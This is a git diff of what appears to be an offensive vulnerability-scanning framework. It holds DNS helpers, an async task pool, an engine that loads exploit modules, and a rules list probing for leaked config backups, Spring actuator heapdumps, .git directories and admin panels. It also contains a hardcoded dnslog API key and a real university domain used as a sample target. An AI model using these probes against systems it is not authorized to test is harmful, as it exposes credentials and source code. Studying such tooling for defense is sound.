查询A记录 - :param str hostname: 主机名 - :return: 查询结果 - """ - resolver = dns_resolver() - return resolver.query(hostname, 'A') - - -def aiodns_resolver(): - """ - 异步dns解析器 - """ - return aiodns.DNSResolver(nameservers=resolver_nameservers, timeout=resolver_timeout) - - -async def aiodns_query_a(hostname, semaphore=None): - # try: - # if semaphore is None: - # resolver = aiodns_resolver() - # answers = await resolver.query(hostname, 'A') - # return hostname, answers - # else: - # async with semaphore: - # resolver = aiodns_resolver() - # answers = await resolver.query(hostname, 'A') - # return hostname, answers - # except aiodns.error.DNSError as e: - # return - - try: - if semaphore is None: - resolver = aiodns_resolver() - answers = await resolver.query(hostname, 'A') - return answers - else: - async with semaphore: # 控制并发数 - resolver = aiodns_resolver() # 生成异步解析器 - answers = await resolver.query(hostname, 'A') - return answers - except aiodns.error.DNSError as e: - return - - -def resolve_callback(future): - # try: - # result = future.result() - # except Exception as e: - # datas[index]['ips'] = '' # 解析错误会默认返回空, 获取报错信息str(e.args) - # else: - # if isinstance(result, tuple): - # _, answers = result - # if answers: - # ips = answers[0].host # 这里解析到的ip就拿一个 - # datas[index]['ips'] = str(ips) - # else: - # datas[index]['ips'] = 'No answers' - try: - result = future.result() - host = result[0].host - except Exception as e: - pass # 解析错误会默认返回空, 获取报错信息str(e.args) - else: - gIpList.append(host) - - -async def bulk_query_a(datas): - """ - 批量查询A记录 - :param datas: 待查的数据集 - :return: 查询过得到的结果集 - """ - # tasks = [] - # semaphore = asyncio.Semaphore(limit_resolve_conn) - # for i, data in enumerate(datas): - # if not data.get('ips'): - # subdomain = data.get('subdomain') - # task = asyncio.ensure_future(aiodns_query_a(subdomain, semaphore)) - # task.add_done_callback(functools.partial(resolve_callback, index=i, datas=datas)) # 回调 - # tasks.append(task) - # if tasks: # 任务列表里有任务不空时才进行解析 - # await asyncio.wait(tasks) # 等待所有task完成 - # return datas - - tasks = [] - semaphore = asyncio.Semaphore(limit_resolve_conn) - for subdomain in datas: - task = asyncio.ensure_future(aiodns_query_a(subdomain, semaphore)) - task.add_done_callback(functools.partial(resolve_callback)) # 回调 - tasks.append(task) - if tasks: # 任务列表里有任务不空时才进行解析 - await asyncio.wait(tasks) # 等待所有task完成 - return list(set(gIpList)) - # return gIpList - - -if __name__ == '__main__': - domainList = ['120.79.66.58', 'www.zjhu.edu.cn', 'www.zjhu.edu.cn'] - ip2domainList = [] - for i in domainList: - aDict = {'subdomain': i, 'ip': ''} - ip2domainList.append(aDict) - - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - task = bulk_query_a(ip2domainList) # 解析域名地址A记录 - t = loop.run_until_complete(task) - print(t) \ No newline at end of file diff --git a/common/resolve4.py b/common/resolve4.py deleted file mode 100644 index b4446f8..0000000 --- a/common/resolve4.py +++ /dev/null @@ -1,142 +0,0 @@ -# coding=utf-8 -import asyncio -import functools -import dns.resolver -import aiodns -import sys - -if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - -# DNS解析设置 -resolver_nameservers = ['114.114.114.114', '114.114.115.115'] - -# 指定查询的DNS域名服务器 - -resolver_timeout = 5.0 # 解析超时时间 -resolver_lifetime = 30.0 # 解析存活时间 -limit_resolve_conn = 50 - -gIpList = [] - - -def dns_resolver(): - """ - dns解析器 - """ - resolver = dns.resolver.Resolver() - resolver.nameservers = resolver_nameservers - resolver.timeout = resolver_timeout - resolver.lifetime = resolver_lifetime - return resolver - - -def dns_query_a(hostname): - """ - 查询A记录 - :param str hostname: 主机名 - :return: 查询结果 - """ - resolver = dns_resolver() - return resolver.query(hostname, 'A') - - -def aiodns_resolver(): - """ - 异步dns解析器 - """ - return aiodns.DNSResolver(nameservers=resolver_nameservers, timeout=resolver_timeout) - - -async def aiodns_query_a(hostname, semaphore=None): - # try: - # if semaphore is None: - # resolver = aiodns_resolver() - # answers = await resolver.query(hostname, 'A') - # return hostname, answers - # else: - # async with semaphore: - # resolver = aiodns_resolver() - # answers = await resolver.query(hostname, 'A') - # return hostname, answers - # except aiodns.error.DNSError as e: - # return - - try: - if semaphore is None: - resolver = aiodns_resolver() - answers = await resolver.query(hostname, 'A') - return answers - else: - async with semaphore: # 控制并发数 - resolver = aiodns_resolver() # 生成异步解析器 - answers = await resolver.query(hostname, 'A') - return answers - except aiodns.error.DNSError as e: - return - - -def resolve_callback(future): - # try: - # result = future.result() - # except Exception as e: - # datas[index]['ips'] = '' # 解析错误会默认返回空, 获取报错信息str(e.args) - # else: - # if isinstance(result, tuple): - # _, answers = result - # if answers: - # ips = answers[0].host # 这里解析到的ip就拿一个 - # datas[index]['ips'] = str(ips) - # else: - # datas[index]['ips'] = 'No answers' - try: - result = future.result() - host = result[0].host - except Exception as e: - pass # 解析错误会默认返回空, 获取报错信息str(e.args) - else: - gIpList.append(host) - - -async def bulk_query_a(datas): - """ - 批量查询A记录 - :param datas: 待查的数据集 - :return: 查询过得到的结果集 - """ - # tasks = [] - # semaphore = asyncio.Semaphore(limit_resolve_conn) - # for i, data in enumerate(datas): - # if not data.get('ips'): - # subdomain = data.get('subdomain') - # task = asyncio.ensure_future(aiodns_query_a(subdomain, semaphore)) - # task.add_done_callback(functools.partial(resolve_callback, index=i, datas=datas)) # 回调 - # tasks.append(task) - # if tasks: # 任务列表里有任务不空时才进行解析 - # await asyncio.wait(tasks) # 等待所有task完成 - # return datas - - tasks = [] - semaphore = asyncio.Semaphore(limit_resolve_conn) - for subdomain in datas: - task = asyncio.ensure_future(aiodns_query_a(subdomain, semaphore)) - task.add_done_callback(functools.partial(resolve_callback)) # 回调 - tasks.append(task) - if tasks: # 任务列表里有任务不空时才进行解析 - await asyncio.wait(tasks) # 等待所有task完成 - return list(set(gIpList)) - # return gIpList - - -if __name__ == '__main__': - domainList = ['120.79.66.58', 'www.zjhu.edu.cn', 'www.zjhu.edu.cn'] - ip2domainList = [] - for i in domainList: - aDict = {'subdomain': i, 'ip': ''} - ip2domainList.append(aDict) - - print(ip2domainList) - - # loop = asyncio.get_event_loop() - # t = loop.run_until_complete(bulk_query_a(datas)) - # print(t) diff --git a/common/rules.py b/common/rules.py deleted file mode 100644 index 6557748..0000000 --- a/common/rules.py +++ /dev/null @@ -1,164 +0,0 @@ -common_rules = { - 'config_file': [ - {'path': '/config.inc', 'status': 200, 'type_no': 'html'}, - {'path': '/config.php.bak', 'status': 200, 'type': 'application/octet-stream'}, - {'path': '/db.php.bak', 'status': 200, 'type': 'application/octet-stream'}, - {'path': '/conf/config.ini', 'status': 200, 'type_no': 'html'}, - ], - - 'shell_scripts': [ - {'path': '/test.sh', 'status': 200, 'tag': '#!/'}, - {'path': '/shell.sh', 'status': 200, 'tag': '#!/'}, - {'path': '/start.sh', 'status': 200, 'tag': '#!/'} - ], - - 'editor': [ - # Ueditor - {'path': '/static/common/lib/ueditor/ueditor.config.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/statics/modules/ueditor/ueditor.config.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/static/js/ueditor/ueditor.config.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/ueditor/ueditor.config.js', 'status': 200, 'type': 'application/javascript'}, - - # kindeditor - {'path': '/kindeditor/kindeditor-all.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/statics/modules/kindeditor/kindeditor-all.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/static/js/kindeditor/kindeditor-all.js', 'status': 200, 'type': 'application/javascript'}, - {'path': '/static/common/lib/kindeditor/kindeditor-all.js', 'status': 200, 'type': 'application/javascript'}, - ], - - # WEB-INF 源代码泄漏 - 'WEB-INF': [ - {'path': '/WEB-INF/web.xml', 'status': 200, 'type': 'xml'}, - {'path': '/WEB-INF/config.xml', 'status': 200, 'type': 'xml'}, - {'path': '/WEB-INF/spring.xml', 'status': 200, 'type': 'xml'}, - {'path': '/WEB-INF/conf/activemq.xml', 'status': 200, 'type': 'xml'}, - {'path': '/WEB-INF/classes/struts.xml', 'status': 200, 'type': 'xml'}, - ], - - 'test_page': [ - {'path': '/test.php', 'status': 200, 'type': 'text/html'}, - {'path': '/1.php', 'status': 200, 'type': 'text/html'}, - {'path': '/a.php', 'status': 200, 'type': 'text/html'}, - {'path': '/test1.php', 'status': 200, 'type': 'text/html'}, - {'path': '/test.html', 'status': 200, 'type': 'html'}, - {'path': '/test1.html', 'status': 200, 'type': 'html'}, - {'path': '/test.txt', 'status': 200, 'type': 'text/plain'}, - {'path': '/test.jsp', 'status': 200, 'type': 'text/html'}, - {'path': '/robots.txt/.php', 'status': 200, 'type': 'text/html'}, - ], - - # Spring框架的端点泄露 - 'spring': [ - {'path': '/jolokia/list', 'status': 200, 'type': 'application'}, - {'path': '/env', 'status': 200, 'type': '

Whitelabel Error Page

'}, - {'path': '/trace', 'status': 200, 'type': 'application'}, - {'path': '/info', 'status': 200, 'type': 'application'}, - {'path': '/metrics', 'status': 200, 'type': 'application'}, - {'path': '/mappings', 'status': 200, 'type': 'application'}, - {'path': '/monitor', 'status': 200, 'type': 'application'}, - {'path': '/heapdump', 'status': 200, 'type': 'application/octet-stream'}, - {'path': '/dump', 'status': 200, 'type': 'application'}, - {'path': '/health', 'status': 200, 'type': 'application'}, - {'path': '/loggers', 'status': 200, 'type': 'application'}, - {'path': '/auditevents', 'status': 200, 'type': 'application'}, - {'path': '/autoconfig', 'status': 200, 'type': 'application'}, - {'path': '/beans', 'status': 200, 'type': 'application'}, - {'path': '/configprops', 'status': 200, 'type': 'application'}, - {'path': '/actuator/jolokia/list', 'status': 200, 'type': 'application'}, - {'path': '/actuator/env', 'status': 200, 'type': 'application'}, - {'path': '/actuator/trace', 'status': 200, 'type': 'application'}, - {'path': '/actuator/info', 'status': 200, 'type': 'application'}, - {'path': '/actuator/metrics', 'status': 200, 'type': 'application'}, - {'path': '/actuator/mappings', 'status': 200, 'type': 'application'}, - {'path': '/actuator/monitor', 'status': 200, 'type': 'application'}, - {'path': '/actuator/heapdump', 'status': 200, 'type': 'application/octet-stream'}, - {'path': '/actuator/dump', 'status': 200, 'type': 'application'}, - {'path': '/actuator/health', 'status': 200, 'type': 'application'}, - {'path': '/actuator/loggers', 'status': 200, 'type': 'application'}, - {'path': '/actuator/auditevents', 'status': 200, 'type': 'application'}, - {'path': '/actuator/autoconfig', 'status': 200, 'type': 'application'}, - {'path': '/actuator/beans', 'status': 200, 'type': 'application'}, - {'path': '/actuator/configprops', 'status': 200, 'type': 'application'}, - {'path': '/actuator/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.1/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.2/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.3/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.4/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.5/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.6/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.7/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.8/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v1.9/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v2.0/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v2.1/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v2.2/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - {'path': '/v2.3/swagger-ui.html', 'status': 200, 'type': 'text/html', 'tag': 'Swagger UI'}, - ], - - # web框架 - 'web_app': [ - {'path': '/phpmyadmin/', 'status': 200, 'type': 'text/html', 'tag': 'phpMyAdmin'}, - {'path': '/PhpMyAdmin/', 'status': 200, 'type': 'text/html', 'tag': 'phpMyAdmin'}, - {'path': '/solr/', 'status': 200, 'type': 'text/html', 'tag': 'Solr Admin'}, - {'path': '/Solr/', 'status': 200, 'type': 'text/html', 'tag': 'Solr Admin'}, - {'path': '/console/login/LoginForm.jsp', 'status': 200, 'type': 'text/html', 'tag': 'WebLogic Server'}, - {'path': '/web-console/index.html', 'status': 200, 'type': 'text/html', 'tag': 'Jboss'}, - {'path': '/admin-console/index.html', 'status': 200, 'type': 'text/html', 'tag': 'Jboss'}, - {'path': '/axis2-admin/', 'status': 200, 'type': 'text/html', 'tag': 'axis2-web'}, - {'path': '/axis2/services/listServices', 'status': 200, 'type': 'text/html', 'tag': 'axis2-web'}, - {'path': '/services/listServices', 'status': 200, 'type': 'text/html', 'tag': 'axis2-web'}, - {'path': '/weaver/bsh.servlet.BshServlet', 'status': 200, 'type': 'text/html'}, - {'path': '/seeyon/index.jsp', 'status': 200, 'tag': 'seeyon'}, - ], - - # php的探针文件 - 'php_probe': [ - {'path': '/phpinfo.php', 'status': 200, 'type': 'application'}, - {'path': '/info.php', 'status': 200, 'type': 'application'}, - {'path': '/sql.php', 'status': 200, 'type': 'application'}, - {'path': '/php.php', 'status': 200, 'type': 'application'}, - {'path': '/i.php', 'status': 200, 'type': 'application'}, - {'path': '/env.php', 'status': 200, 'type': 'application'}, - ], - - # asp的探针文件 - 'asp_probe': [ - {'path': '/admin_aspcheck.asp', 'status': 200, 'type': 'application'}, - {'path': '/tz/tz.asp', 'status': 200, 'type': 'application'}, - {'path': '/env.asp', 'status': 200, 'type': 'application'}, - {'path': '/tz.asp', 'status': 200, 'type': 'application'}, - {'path': '/p1.asp', 'status': 200, 'type': 'application'}, - {'path': '/p.asp', 'status': 200, 'type': 'application'}, - {'path': '/aspcheck.asp', 'status': 200, 'type': 'application'}, - ], - - # 后台路径的探测 - 'login': [ - {'path': '/login', 'status': 200, 'type': 'text/html'}, - {'path': '/admin', 'status': 200, 'type': 'text/html'}, - {'path': '/manage', 'status': 200, 'type': 'text/html'}, - {'path': '/system', 'status': 200, 'type': 'text/html'}, - {'path': '/master', 'status': 200, 'type': 'text/html'}, - {'path': '/admin.php', 'status': 200, 'type': 'text/html'}, - {'path': '/admin.asp', 'status': 200, 'type': 'text/html'}, - {'path': '/admin.jsp', 'status': 200, 'type': 'text/html'}, - {'path': '/admin.aspx', 'status': 200, 'type': 'text/html'}, - ], - - # 源代码泄露 - 'source_code': [ - {'path': '/.svn/entries', 'status': 200, 'type': 'text/plain'}, - {'path': '/.git/logs/HEAD', 'status': 200, 'type': 'application'}, - {'path': '/.DS_Store', 'status': 200, 'type': 'application'}, - - ], - 'other': [ - ] -} - -white_rules = [ -] - -black_rules = [ -] diff --git a/conf/myscan.yaml b/conf/myscan.yaml new file mode 100644 index 0000000..fa07d7b --- /dev/null +++ b/conf/myscan.yaml @@ -0,0 +1,64 @@ +# coding=utf-8 + +# default register port +port: + default_port_config: 'top100' + +# some api need to proxy +proxy: 'http://127.0.0.1:7890' + +# fofa.so +fofa: + fofa_email: '' + fofa_api: '' + +# hunter.qianxin.com +hunter: + hunter_name: '' + hunter_api: '' + +# shodan.io +shodan: '' + +# quake.360.com +quake: '' + +# https://search.censys.io/account/api +censys: + censys_id: '' + censys_secret : '' + +# virustotal.com +virustotal: '' + +# https://github.com/settings/tokens +github: '' + +# http://api.chinaz.com/ApiDetails/Alexa +chinaz: '' + +# https://securitytrails.com/corp/api +securitytrails: '' + +# https://app.binaryedge.io/account/api +binaryedge: '' + +# https://x.threatbook.cn/v5/myApi +threatbook: '' + +# https://fullhunt.io/user/settings/ +fullhunter: '' + +# http://ceye.io +# 公共账号,原因是在比如T3协议,无法通过python来发包实现页面回显,所以这里用的就是dns带外验证,但是我数据包是写死的 +# 所以地址也只能写死,这里的漏洞验证我都是通过这个地址来进行验证的,如果想换的话,可能还需要大家自己重新构造下回显的数据包 +# 如果想用回显的话只能通过调用jar包来发包验证,但是自己又不想引入第三方的东西,所以只能写成这样了 +# weblogic t3漏洞协议认证默认用的是如下这个0wtpsg.ceye.io,作为公共来使用了,如果大家要改的话那么weblogic t3 payload还需要自己重新抓个包来进行处理 +ceye: + ceye_api : '4f4d05058fe3fe065b733e118731c42a' + ceye_identifier : '0wtpsg.ceye.io' + +# 常用的dnslog平台基本都被厂商禁止通信了,自己这里找了一个用的比较少的dnslog平台,作为相关漏洞验证平台 +eyes: + eyes_api : '' + eyes_identifier : '' \ No newline at end of file diff --git a/core/MyEnums.py b/core/MyEnums.py index 7e1bbfa..da16817 100644 --- a/core/MyEnums.py +++ b/core/MyEnums.py @@ -6,23 +6,22 @@ # About bug 相关的描述枚举类 class BugType: SQLINJECTION = 'SQL Injection' - RCE = 'RCE' - READFILE = 'READ FILE' + RCE = 'Remote Code Execution' + READFILE = 'Read File' XXE = 'XXE' SSRF = 'SSRF' DESERIALIZE = 'Deserialize' - CODELEAKAGE = 'Code Leakage' UPLOADFILE = 'Upload File' WRITEFILE = 'Write File' - UNAUTH = 'UNAUTH' - BACKUP = 'BACKUP' + UNAUTH = 'Unauth' + BACKUP = 'Backup' DIRECTORYTRAVERSAL = 'Directory Traversal' ANYUSERLOGIN = 'Any User Login' BYPASSPERMISSION = 'Bypass Permission' SENSITIVE = 'Sensitive' FINGER = 'Finger' + MISCONFIGURATION = 'Misconfiguration' BLAST = 'Blast' - NONE = 'None' class BugLevel: diff --git a/core/api/MyNetApi.py b/core/api/MyNetApi.py deleted file mode 100644 index 9da2321..0000000 --- a/core/api/MyNetApi.py +++ /dev/null @@ -1,62 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-10 21:02 -import base64 -from core.request.asynchttp import * -from spider.common import config - - -async def searchInterface(*args, **kwargs): - # if kwargs[0] == 'fofa': - # fofaSearch() - pass - - -async def fofaSearch(keyword): - url = "https://fofa.so/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" - async with aiohttp.ClientSession() as session: - result = await AsyncFetcher.fetch(session=session, url=url.format(config.fofaEmail, config.fofaApi, - base64.b64encode(keyword.encode()).decode()), - json=True) - # print(result.get('results')) - return result.get('results') - - -async def shodanSearch(keyword): - url = "https://shodan.io/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" - async with aiohttp.ClientSession() as session: - result = await AsyncFetcher.fetch(session=session, url=url.format(config.fofaEmail, config.fofaApi, - base64.b64encode(keyword.encode()).decode()), - json=True) - return result.get('results') - - -async def quekaSearch(keyword): - url = "https://quake.360.com/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" - async with aiohttp.ClientSession() as session: - result = await AsyncFetcher.fetch(session=session, url=url.format(config.fofaEmail, config.fofaApi, - base64.b64encode(keyword.encode()).decode()), - json=True) - return result.get('results') - - -async def hunterSearch(keyword): - url = "https://hunter.qianxin.com/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" - async with aiohttp.ClientSession() as session: - result = await AsyncFetcher.fetch(session=session, url=url.format(config.fofaEmail, config.fofaApi, - base64.b64encode(keyword.encode()).decode()), - json=True) - return result.get('results') - - -async def zoomeyeSearch(keyword): - url = '' - pass - # url -X GET 'https://api.zoomeye.org/host/search?query=hostname%3A%20zjhu.edu.cn&pageSize=200&facets=hostname,ip,port,service,asn' -H "API-KEY:12104626-7ce8-a2c9f-4997-f3ba52738f3" - - -if __name__ == '__main__': - loop = asyncio.get_event_loop() - result = loop.run_until_complete(fofaSearch('app="泛微-EMobile" && country="CN"')) - # result = loop.run_until_complete(shodanSearch('app="yapi"')) - # result = loop.run_until_complete(quekaSearch('app="yapi"')) diff --git a/core/api/__pycache__/MyNetApi.cpython-38.pyc b/core/api/__pycache__/MyNetApi.cpython-38.pyc deleted file mode 100644 index 24eaa98..0000000 Binary files a/core/api/__pycache__/MyNetApi.cpython-38.pyc and /dev/null differ diff --git a/core/component/MyDict.py b/core/component/MyDict.py deleted file mode 100644 index fb0e607..0000000 --- a/core/component/MyDict.py +++ /dev/null @@ -1,25 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-06 20:48 - - -class Mydict(dict): - """ - prepare for exploitModule. write in 2021.11.27 0.16 @zpchcbd - - write the class's reason: - 1. 我发现默认的dict的key无法进行存储自定义的类对象 - 2. 在于攻击类中的CmsScan,我需要实现同类型多模块的节省时间利用 - 3. 在该自定义的dict中我可以实现存在Script对象 - """ - def __getattr__(self, item): - try: - return self.__getitem__(item) - except KeyError: - raise AttributeError("unable to access item '{}'".format(item)) - - -if __name__ == '__main__': - a = Mydict() - a['a'] = 1 - print(a['b']) diff --git a/core/component/MyList.py b/core/component/MyList.py deleted file mode 100644 index e9f8d70..0000000 --- a/core/component/MyList.py +++ /dev/null @@ -1,7 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-06 20:49 - -class Mylist(list): - def __getattr__(self, item): - pass diff --git a/core/component/asyncpool.py b/core/component/asyncpool.py new file mode 100644 index 0000000..b897072 --- /dev/null +++ b/core/component/asyncpool.py @@ -0,0 +1,168 @@ +# coding=utf-8 + +import asyncio + + +class WorkItem: + def __init__(self, _func, *args, **kwargs): + self._func = _func + self._args = args + self._kwargs = kwargs + self.future = asyncio.Future() + + +# 存储在异步池中的AsyncWorker +class AsyncWorker: + def __init__(self, pool): + self.pool = pool + self.is_running = False + + def start(self): + self._fut = asyncio.ensure_future(self.run()) + + async def stop(self, timeout=None): + await asyncio.wait_for(self._fut, timeout) + + async def run(self): + while True: + item = await self.pool.work_queue.get() + if item is None: + break + try: + self.is_running = True + result = await item._func(*item._args, **item._kwargs) + item.future.set_result(result) + except Exception as ex: + item.future.set_exception(ex) + finally: + self.is_running = False + + +# 协程池 +class AsyncPool: + def __init__(self, num_workers, backlog=0): + self.num_workers = num_workers + # 异步池 + self.workers = [] + # 工作队列 + self.work_queue = asyncio.Queue(backlog) + # 根据num_workers生成AsyncWorker + for _ in range(num_workers): + worker = AsyncWorker(self) + worker.start() + self.workers.append(worker) + self._closed = False + self._finish_left = num_workers + + # 提交任务 + async def submit(self, _func, *args, **kwargs) -> asyncio.Future: + if self._closed: + raise RuntimeError('submit after shutdown') + item = WorkItem(_func, *args, **kwargs) + await self.work_queue.put(item) + return item.future + + async def shutdown(self, timeout=None, cancel_queued=False): + self._closed = True + if cancel_queued: + # cancel all existing tasks + while not self.work_queue.empty(): + item = await self.work_queue.get() + if item: + item.future.set_exception(asyncio.CancelledError()) + + # explicit yield to wake up other putters + await asyncio.sleep(0) + + # put finishing item + # note that putting more than num_workers times may block shutdown forever + while self._finish_left > 0: + self._finish_left -= 1 + await self.work_queue.put(None) + + # wait workers to complete + await asyncio.gather(*(worker.stop(timeout) for worker in self.workers), return_exceptions=True) + + @property + def is_finished(self): + return (not any(w.is_running for w in self.workers)) and self.work_queue.empty() + + +class PoolCollector: + def __init__(self, pool: AsyncPool): + self._pool = pool + self._queue = asyncio.Queue() + + @classmethod + def create(cls, num_workers, backlog=0): + pool = AsyncPool(num_workers, backlog=backlog) + return cls(pool) + + @property + def remain_task_count(self): + return self._pool.work_queue.qsize() + + @property + def scanning_task_count(self): + return len([w for w in self._pool.workers if w.is_running]) + + async def submit(self, _func, *args, **kwargs): + future = await self._pool.submit(_func, *args, **kwargs) + future.add_done_callback(self._queue.put_nowait) + return future + + async def submit_all(self, items): + for item in items: + await self.submit(item._func, *item._args, **item._kwargs) + await self.shutdown() + + async def shutdown(self): + await self._pool.shutdown() + await self._queue.put(None) + + @property + def is_finished(self): + return self._pool.is_finished + + async def __aenter__(self): + return self + + async def __aexit__(self, exc_type, exc_value, traceback): + await self.close() + + async def close(self): + await self._pool.shutdown(timeout=0, cancel_queued=True) + while not self._queue.empty(): + future = await self._queue.get() + ignore_cancelled(future) + + async def iter(self): + while True: + item = await self._queue.get() + if item is not None: + yield item + else: + break + + +def ignore_cancelled(future): + if not future: + return + try: + future.result() + except Exception as ex: + if not isinstance(ex, asyncio.CancelledError): + pass + # logger.warning('future exception', exc_info=True) + + +async def finish_detect_daemon(manager: PoolCollector, time_interval=5): + last_status = True + while True: + await asyncio.sleep(time_interval) + this_status = bool(manager.is_finished) + if last_status and this_status: + await manager.shutdown() + break + + last_status = this_status diff --git a/core/component/customdict.py b/core/component/customdict.py new file mode 100644 index 0000000..1f3bc28 --- /dev/null +++ b/core/component/customdict.py @@ -0,0 +1,43 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-06 20:48 + +class AttributeDict(dict): + def __init__(self, temp_dict=None): + if temp_dict is None: + temp_dict = {} + super().__init__(temp_dict) + + def __setattr__(self, key, value): + super().__setitem__(key, value) + + def __getattr__(self, key): + return self.__getitem__(key) + + +class WriteDict(dict): + def __init__(self, temp_dict, init_fields): + super().__init__(temp_dict) + self.init_fields = init_fields + + def __getitem__(self, __k): + _key = self.init_fields[__k] + return super().__getitem__(_key) + + +class ModuleDict(dict): + """ + prepare for exploitModule. write in 2021.11.27 0.16 @zpchcbd + + write the class's reason: + 1. 我发现默认的dict的key无法进行存储自定义的类对象 + 2. 在于攻击类中的CmsScan,我需要实现同类型多模块的节省时间利用 + 3. 在该自定义的dict中我可以实现存在Script对象 + """ + pass + + +if __name__ == '__main__': + INIT_FIELDS = ['a', 'b', 'c'] + mydict = WriteDict({"a": 1, "b": 2, "c": 3}, INIT_FIELDS) + print(mydict[0]) diff --git a/core/component/enginemanager.py b/core/component/enginemanager.py new file mode 100644 index 0000000..2c0ecac --- /dev/null +++ b/core/component/enginemanager.py @@ -0,0 +1,299 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2022-08-06 11:08 + +from core.data import gLogger +from exploit.scripts.__template__ import Script +from core.component.asyncpool import PoolCollector + +from exploit.service.ajp import ajp_scan +from exploit.service.dubbo import dubbo_scan +from exploit.service.ftp import ftp_scan +from exploit.service.jdwp import jdwp_scan +from exploit.service.ldap import ldap_scan +from exploit.service.log4j import log4j_scan +from exploit.service.memcache import memcache_scan +from exploit.service.mongodb import mongodb_scan +from exploit.service.mssql import mssql_scan +from exploit.service.mysql import mysql_scan +from exploit.service.postgresql import postgresql_scan +from exploit.service.proxy import proxy_scan +from exploit.service.redis import redis_scan +from exploit.service.rmi import rmi_scan +from exploit.service.rsync import rsync_scan +from exploit.service.smb import smb_scan +from exploit.service.weblogicT3 import weblogic_scan +from exploit.service.zookeeper import zookeeper_scan + +import time +import asyncio +import traceback +import aiohttp + + +class EngineManager: + def __init__(self, name): + self.spend_time = 0 + self.source = 'PocScanner' + self.name = name + self._total_task_count = 0 + self._error_task_count = 0 + self._find_task_count = 0 + self.start_time = time.time() + self.is_continue = True + + self.target_queue = None + self.target_url_list = None + self.target_module_list = None + self.target_threads = None + self.target_web_exploit_flag = None + self.target_service_exploit_flag = None + self.target_web_scan_func = None + + # print(self.module_list) + + def print_progress(self, manager: PoolCollector): + found_count = self._find_task_count + error_count = self._error_task_count + remaining_count = manager.remain_task_count + scanning_count = manager.scanning_task_count + scanned_count = self._total_task_count - manager.remain_task_count + total_count = self._total_task_count + self.spend_time = time.time() - self.start_time + print('%s found | %s error | %s remaining | %s scanning | %s scanned in %.2f seconds.(total %s)' % \ + (found_count, error_count, remaining_count, scanning_count, scanned_count, self.spend_time, total_count)) + + async def _progress_daemon(self, manager: PoolCollector): + while True: + await asyncio.sleep(60) + self.print_progress(manager) + + def set_target_queue(self, target_queue: asyncio.Queue): + self.target_queue = target_queue + + def set_target_url_list(self, target_url_list: list): + self.target_url_list = target_url_list + + def set_target_service_exploit_flag(self, target_service_exploit_flag): + self.target_service_exploit_flag = target_service_exploit_flag + + def set_target_web_exploit_flag(self, target_web_exploit_flag): + self.target_web_exploit_flag = target_web_exploit_flag + + def set_target_module_list(self, target_module_list: list): + self.target_module_list = target_module_list + + def set_web_scan_func(self, target_web_scan_func): + self.target_web_scan_func = target_web_scan_func + + def set_target_threads(self, target_threads): + self.target_threads = target_threads + + # spend time about 5.23s + async def _check_queue_is_empty(self): + try: + while True: + if self.target_queue.empty(): + self.is_continue = False + break + else: + await asyncio.sleep(10) + except Exception: + pass + + async def _do_web_scan(self, script: Script, target, func_name='attack'): + """ + @param script: + @param target: + @param func_name: default attack , or you can choose attack / detect / exec + @return: void , if void is return none + """ + vul_list = [] + target_addr = target['host'] + + try: + script_object = script(target_addr) + # custom time to go + # async with async_timeout.timeout(5): + # set async timeout time + if hasattr(script_object, func_name): + if func_name == 'attack': + result = await script_object.attack() + elif func_name == 'detect': + result = await script_object.detect() + elif func_name == 'exec': + result = await script_object.exec() + if isinstance(result, list): + vul_list.extend(result) + elif isinstance(result, dict): + vul_list.append(result) + # in scan_vul_submit_task, get a task from task_queue + # if the task is + # 加入的格式为如下图所示 + # [ + # {"seeyon": {"domain": [], "module": [module1(), module2(), module3()]}}, + # {"seeyon": {"domain": [], "module": [module1(), module2(), module3()]}} + # ] + else: + gLogger.myscan_warn('please choose you func, which named -fn attack, -fn detect and -fn exec.') + except AttributeError: + gLogger.myscan_error('module func \'%s()\' not exist, please check \'%s\' script.' % (func_name, script.name)) + error_msg = traceback.format_exc() + gLogger.myscan_error(error_msg) + self._error_task_count += 1 + except (asyncio.TimeoutError, ConnectionResetError, ConnectionAbortedError): + self._error_task_count += 1 + except (asyncio.CancelledError, ConnectionRefusedError, OSError): + self._error_task_count += 1 + except (aiohttp.ServerConnectionError, 